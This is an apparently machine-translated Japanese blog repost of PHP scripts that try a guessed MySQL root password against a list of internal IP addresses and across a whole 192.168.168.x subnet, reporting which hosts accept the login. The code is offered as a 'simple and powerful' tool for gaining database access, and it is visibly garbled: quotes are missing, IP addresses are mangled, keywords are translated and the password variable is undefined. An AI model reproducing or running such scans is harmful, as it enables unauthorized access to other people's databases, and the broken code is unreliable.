From:angels Blog ソースURL: http://www.sablog.net/blog/archives/479/
たった今オンラインを閲覧していて、little A (angel) のブログでこのプログラムを偶然見ました。とてもシンプルで強力です。ふふ! ~PHP で実装されています。PHP を理解していない友人にも理解しやすいように、彼が書いたコードにコメントを追加しました。これがコードです。
//指定されたデータベースサーバーがポート 3306 を開いていることがわかっている場合は、次の PHP スクリプトを実行して推測します。
コード-1:
$hostdb = array(192.168.168.10,
192.168.168.20,
192.168.168.20,
192.168.168.40,
192.168.168.50,
192.16 168.60、
192.168.168.70、
192.168.168.80、
192.168 .168.90、
192.168.168.100
);
$ dbu = root;
(Foreach ($ Hostdb AS $ Host) { // Foreach を使用して事前定義された配列を走査します
echo $ host. .$dbp. . .. ok< br&gt ;;
エコー完了。;
?>
//次のコードは、指定された IP アドレス セグメントをスキャンします。
コード-2:
$ips = 192.168.168.; //事前定義されたネットワーク セグメントは C セグメントの IP アドレス セグメントです$dbu = root; /predictパスワード
for ($i=1; $i<254; $i++) { //forループを設定し、192.168.1.1を基準に192.168.1.254まで一つずつ積み上げていきます
if(@mysql_connect( $ips.$i, $dbu, $dbp)) { // 接続してみます echo $ips.$i. - .$dbp. ... OK
//接続された場合 成功した場合は、出力します
}}
エコーが完了しました。;
http://www.bkjia.com/PHPjc/508455.html
www.bkjia.com
true
http://www.bkjia.com/PHPjc/508455.html
技術記事